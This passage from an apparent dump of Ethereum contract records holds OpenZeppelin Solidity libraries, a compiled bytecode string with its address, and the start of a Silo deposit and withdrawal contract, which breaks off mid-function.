initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806386b3fbd91161005b57806386b3fbd9146101a35780638da5cb5b146101fd578063be24d97b14610231578063f2fde38b146102b557610088565b80634227b4001461008d5780636b1af75e146100d1578063715018a614610155578063848ad7761461015f575b600080fd5b6100cf600480360360208110156100a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f9565b005b61013d600480360360608110156100e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610446565b60405180821515815260200191505060405180910390f35b61015d61063f565b005b6101a16004803603602081101561017557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ac565b005b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b60405180821515815260200191505060405180910390f35b61020561094f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61029d6004803603606081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610978565b60405180821515815260200191505060405180910390f35b6102f7600480360360208110156102cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aed565b005b610301610cdf565b73ffffffffffffffffffffffffffffffffffffffff1661031f61094f565b73ffffffffffffffffffffffffffffffffffffffff16146103a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f66bec3a67a45a88cf4ba619167cbbb2245a06386afe478bc138e47e96be3f2fb60405160405180910390a250565b6000600260015414156104c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600181905550600260006104d5610cdf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611165602a913960400191505060405180910390fd5b60008490506105a284848373ffffffffffffffffffffffffffffffffffffffff16610ce79092919063ffffffff16565b6105aa610cdf565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f13f8175245080c63840d152f347ef735fd107c0e3c20e7d76c24577247d9ba778786604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36001915050600180819055509392505050565b610647610cdf565b73ffffffffffffffffffffffffffffffffffffffff1661066561094f565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107b4610cdf565b73ffffffffffffffffffffffffffffffffffffffff166107d261094f565b73ffffffffffffffffffffffffffffffffffffffff161461085b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f052f72e29396e5918910d48c176581766c866128e57808156a93e037a779c22260405160405180910390a250565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260015414156109f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600181905550610a03610cdf565b73ffffffffffffffffffffffffffffffffffffffff16610a2161094f565b73ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000849050610ada84848373ffffffffffffffffffffffffffffffffffffffff16610ce79092919063ffffffff16565b6001915050600180819055509392505050565b610af5610cdf565b73ffffffffffffffffffffffffffffffffffffffff16610b1361094f565b73ffffffffffffffffffffffffffffffffffffffff1614610b9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111196026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610d848363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610d89565b505050565b6060610deb826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610e789092919063ffffffff16565b9050600081511115610e7357808060200190516020811015610e0c57600080fd5b8101908080519060200190929190505050610e72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061118f602a913960400191505060405180910390fd5b5b505050565b6060610e878484600085610e90565b90509392505050565b606082471015610eeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061113f6026913960400191505060405180910390fd5b610ef485611039565b610f66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310610fb65780518252602082019150602081019050602083039250610f93565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611018576040519150601f19603f3d011682016040523d82523d6000602084013e61101d565b606091505b509150915061102d82828661104c565b92505050949350505050565b600080823b905060008111915050919050565b6060831561105c57829050611111565b60008351111561106f5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110d65780820151818401526020810190506110bb565b50505050905090810190601f1680156111035780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5265776172644b65657065723a206d736753656e64657220686173206e6f207065726d697373696f6e735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220c24a83072a1648e152256d64670655ad3cc72a5ccc9e958a1be3d08ea53475a064736f6c63430007030033
[ 38 ]
0xF1bcB061222015412F3d6B889FF0203eD8DBb4ca
/** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./BeanSilo.sol"; import "../../../libraries/LibClaim.sol"; /** * @author Publius * @title Silo handles depositing and withdrawing Beans and LP, and updating the Silo. **/ contract SiloFacet is BeanSilo { event BeanAllocation(address indexed account, uint256 beans); using SafeMath for uint256; using SafeMath for uint32; /** * Bean **/ // Deposit function claimAndDepositBeans(uint256 amount, LibClaim.Claim calldata claim) external { allocateBeans(claim, amount); _depositBeans(amount); } function claimBuyAndDepositBeans( uint256 amount, uint256 buyAmount, LibClaim.Claim calldata claim ) external payable { allocateBeans(claim, amount); uint256 boughtAmount = LibMarket.buyAndDeposit(buyAmount); _depositBeans(boughtAmount.add(amount)); } function depositBeans(uint256 amount) public { bean().transferFrom(msg.sender, address(this), amount); _depositBeans(amount); } function buyAndDepositBeans(uint256 amount, uint256 buyAmount) public payable { uint256 boughtAmount = LibMarket.buyAndDeposit(buyAmount); if (amount > 0) bean().transferFrom(msg.sender, address(this), amount); _depositBeans(boughtAmount.add(amount)); } // Withdraw function withdrawBeans( uint32[] calldata crates, uint256[] calldata amounts ) notLocked(msg.sender) external { _withdrawBeans(crates, amounts); } function claimAndWithdrawBeans( uint32[] calldata crates, uint256[] calldata amounts, LibClaim.Claim calldata claim ) notLocked(msg.sender) external { LibClaim.claim(claim, false); _withdrawBeans(crates, amounts); } /** * LP **/ function claimAndDepositLP(uint256 amount, LibClaim.Claim calldata claim) external { LibClaim.claim(claim, false); depositLP(amount); } function claimAddAndDepositLP( uint256 lp, uint256 buyBeanAmount, uint256 buyEthAmount, LibMarket.AddLiquidity calldata al, LibClaim.Claim calldata claim ) external payable { uint256 allocatedBeans = LibClaim.claim(claim, true); _addAndDepositLP(lp, buyBeanAmount, buyEthAmount, allocatedBeans, al); } function depositLP(uint256 amount) public { pair().transferFrom(msg.sender, address(this), amount); _depositLP(amount, season()); } function addAndDepositLP(uint256 lp, uint256 buyBeanAmount, uint256 buyEthAmount, LibMarket.AddLiquidity calldata al ) public payable { require(buyBeanAmount == 0 || buyEthAmount == 0, "Silo: Silo: Cant buy Ether and Beans."); _addAndDepositLP(lp, buyBeanAmount, buyEthAmount, 0, al); } function _addAndDepositLP(uint256 lp, uint256 buyBeanAmount, uint256 buyEthAmount, uint256 allocatedBeans, LibMarket.AddLiquidity calldata al ) internal { uint256 boughtLP = LibMarket.swapAndAddLiquidity(buyBeanAmount, buyEthAmount, allocatedBeans, al); if (lp>0) pair().transferFrom(msg.sender, address(this), lp); _depositLP(lp.add(boughtLP), season()); } function claimConvertAddAndDepositLP( uint256 lp, LibMarket.AddLiquidity calldata al, uint32[] memory crates, uint256[] memory amounts, LibClaim.Claim calldata claim ) external payable { _convertAddAndDepositLP(lp, al, crates, amounts, LibClaim.claim(claim, true)); } function convertAddAndDepositLP( uint256 lp, LibMarket.AddLiquidity calldata al, uint32[] memory crates, uint256[] memory amounts ) public payable { _convertAddAndDepositLP(lp, al, crates, amounts, 0); } function _convertAddAndDepositLP( uint256 lp, LibMarket.AddLiquidity calldata al, uint32[] memory crates, uint256[] memory amounts, uint256 allocatedBeans ) private { updateSilo(msg.sender); WithdrawState memory w; if (IBean(s.c.bean).balanceOf(address(this)) < al.beanAmount) { w.beansTransferred = al.beanAmount.sub(totalDepositedBeans()); bean().transferFrom(msg.sender, address(this), w.beansTransferred); } (w.beansAdded, w.newLP) = LibMarket.addLiquidity(al); require(w.newLP > 0, "Silo: No LP added."); (w.beansRemoved, w.stalkRemoved) = _withdrawBeansForConvert(crates, amounts, w.beansAdded); uint256 amountFromWallet = w.beansAdded.sub(w.beansRemoved, "Silo: Removed too many Beans."); if (amountFromWallet < w.beansTransferred) bean().transfer(msg.sender, w.beansTransferred.sub(amountFromWallet).add(allocatedBeans)); else if (w.beansTransferred < amountFromWallet) { uint256 transferAmount = amountFromWallet.sub(w.beansTransferred); LibMarket.transferAllocatedBeans(allocatedBeans, transferAmount); } w.i = w.stalkRemoved.sub(w.beansRemoved.mul(C.getStalkPerBean())); w.i = w.i.div(lpToLPBeans(lp.add(w.newLP)), "Silo: No LP Beans."); uint32 depositSeason = uint32(season().sub(w.i.div(C.getSeedsPerLPBean()))); if (lp > 0) pair().transferFrom(msg.sender, address(this), lp); _depositLP(lp.add(w.newLP), depositSeason); LibCheck.beanBalanceCheck(); updateBalanceOfRainStalk(msg.sender); } /** * Withdraw **/ function claimAndWithdrawLP( uint32[] calldata crates, uint256[] calldata amounts, LibClaim.Claim calldata claim ) notLocked(msg.sender) external { LibClaim.claim(claim, false); _withdrawLP(crates, amounts); } function withdrawLP( uint32[] calldata crates, uint256[] calldata amounts ) notLocked(msg.sender) external { _withdrawLP(crates, amounts); } function allocateBeans(LibClaim.Claim calldata c, uint256 transferBeans) private { LibMarket.transferAllocatedBeans(LibClaim.claim(c, true), transferBeans); } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./LPSilo.sol"; /** * @author Publius * @title Bean Silo **/ contract BeanSilo is LPSilo { using SafeMath for uint256; using SafeMath for uint32; event BeanRemove(address indexed account, uint32[] crates, uint256[] crateBeans, uint256 beans); event BeanWithdraw(address indexed account, uint256 season, uint256 beans); /** * Getters **/ function totalDepositedBeans() public view returns (uint256) { return s.bean.deposited; } function totalWithdrawnBeans() public view returns (uint256) { return s.bean.withdrawn; } function beanDeposit(address account, uint32 id) public view returns (uint256) { return s.a[account].bean.deposits[id]; } function beanWithdrawal(address account, uint32 i) public view returns (uint256) { return s.a[account].bean.withdrawals[i]; } /** * Internal **/ function _depositBeans(uint256 amount) internal { require(amount > 0, "Silo: No beans."); updateSilo(msg.sender); incrementDepositedBeans(amount); depositSiloAssets(msg.sender, amount.mul(C.getSeedsPerBean()), amount.mul(C.getStalkPerBean())); addBeanDeposit(msg.sender, season(), amount); LibCheck.beanBalanceCheck(); } function _withdrawBeans( uint32[] calldata crates, uint256[] calldata amounts ) internal { updateSilo(msg.sender); require(crates.length == amounts.length, "Silo: Crates, amounts are diff lengths."); (uint256 beansRemoved, uint256 stalkRemoved) = removeBeanDeposits(crates, amounts); addBeanWithdrawal(msg.sender, season()+C.getSiloWithdrawSeasons(), beansRemoved); decrementDepositedBeans(beansRemoved); withdrawSiloAssets(msg.sender, beansRemoved.mul(C.getSeedsPerBean()), stalkRemoved); updateBalanceOfRainStalk(msg.sender); LibCheck.beanBalanceCheck(); } function _withdrawBeansForConvert( uint32[] memory crates, uint256[] memory amounts, uint256 maxBeans ) internal returns (uint256 beansRemoved, uint256 stalkRemoved) { require(crates.length == amounts.length, "Silo: Crates, amounts are diff lengths."); uint256 crateBeans; uint256 i = 0; while ((i < crates.length) && (beansRemoved < maxBeans)) { if (beansRemoved.add(amounts[i]) < maxBeans) crateBeans = removeBeanDeposit(msg.sender, crates[i], amounts[i]); else crateBeans = removeBeanDeposit(msg.sender, crates[i], maxBeans.sub(beansRemoved)); beansRemoved = beansRemoved.add(crateBeans); stalkRemoved = stalkRemoved.add(crateBeans.mul(C.getStalkPerBean()).add( stalkReward(crateBeans.mul(C.getSeedsPerBean()), season()-crates[i] ))); i++; } if (i > 0) amounts[i.sub(1)] = crateBeans; while (i < crates.length) { amounts[i] = 0; i++; } decrementDepositedBeans(beansRemoved); withdrawSiloAssets(msg.sender, beansRemoved.mul(C.getSeedsPerBean()), stalkRemoved); emit BeanRemove(msg.sender, crates, amounts, beansRemoved); return (beansRemoved, stalkRemoved); } function removeBeanDeposits(uint32[] calldata crates, uint256[] calldata amounts) private returns (uint256 beansRemoved, uint256 stalkRemoved) { for (uint256 i = 0; i < crates.length; i++) { uint256 crateBeans = removeBeanDeposit(msg.sender, crates[i], amounts[i]); beansRemoved = beansRemoved.add(crateBeans); stalkRemoved = stalkRemoved.add(crateBeans.mul(C.getStalkPerBean()).add( stalkReward(crateBeans.mul(C.getSeedsPerBean()), season()-crates[i])) ); } emit BeanRemove(msg.sender, crates, amounts, beansRemoved); } function decrementDepositedBeans(uint256 amount) private { s.bean.deposited = s.bean.deposited.sub(amount); } function removeBeanDeposit(address account, uint32 id, uint256 amount) private returns (uint256) { require(id <= season(), "Silo: Future crate."); uint256 crateAmount = beanDeposit(account, id); require(crateAmount >= amount, "Silo: Crate balance too low."); require(crateAmount > 0, "Silo: Crate empty."); s.a[account].bean.deposits[id] -= amount; return 